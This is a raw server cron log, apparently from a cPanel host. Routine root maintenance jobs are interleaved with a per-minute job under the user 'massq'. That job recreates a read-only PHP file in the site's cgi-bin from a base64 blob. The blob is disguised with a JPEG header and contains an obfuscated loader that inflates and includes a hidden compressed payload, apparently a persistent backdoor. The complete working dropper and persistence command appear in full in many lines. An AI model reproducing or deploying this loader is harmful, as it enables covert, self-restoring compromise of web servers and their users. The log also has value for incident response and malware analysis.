Sep  1 23:00:02 server CROND[25618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:00:02 server CROND[25619]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:00:02 server CROND[25622]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:01:01 server CROND[26499]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 23:01:01 server CROND[26500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:01:01 server CROND[26501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:01:01 server CROND[26502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:01:01 server run-parts(/etc/cron.hourly)[26499]: starting 0anacron
Sep  1 23:01:01 server run-parts(/etc/cron.hourly)[26522]: finished 0anacron
Sep  1 23:02:01 server CROND[26933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:02:01 server CROND[26932]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:02:01 server CROND[26934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:03:01 server CROND[27397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:03:01 server CROND[27398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:03:01 server CROND[27399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:04:01 server CROND[27785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:04:01 server CROND[27786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:04:01 server CROND[27787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:05:01 server CROND[28165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:05:01 server CROND[28166]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 23:05:01 server CROND[28185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:05:01 server CROND[28180]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:05:01 server CROND[28182]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 23:05:01 server CROND[28187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:05:01 server CROND[28186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:05:01 server CROND[28183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:05:01 server CROND[28181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:06:01 server CROND[29031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:06:01 server CROND[29033]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:06:01 server CROND[29034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:07:01 server CROND[29464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:07:01 server CROND[29465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:07:01 server CROND[29466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:08:01 server CROND[29959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:08:01 server CROND[29960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:08:01 server CROND[29961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:09:02 server CROND[30347]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 23:09:02 server CROND[30345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:09:02 server CROND[30346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:09:02 server CROND[30348]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:10:01 server CROND[30731]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 23:10:01 server CROND[30732]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 23:10:01 server CROND[30737]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 23:10:01 server CROND[30735]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 23:10:01 server CROND[30744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:10:01 server CROND[30745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:10:01 server CROND[30748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:10:01 server CROND[30743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 23:11:01 server CROND[31560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:11:01 server CROND[31562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:11:01 server CROND[31561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 23:12:01 server CROND[31983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
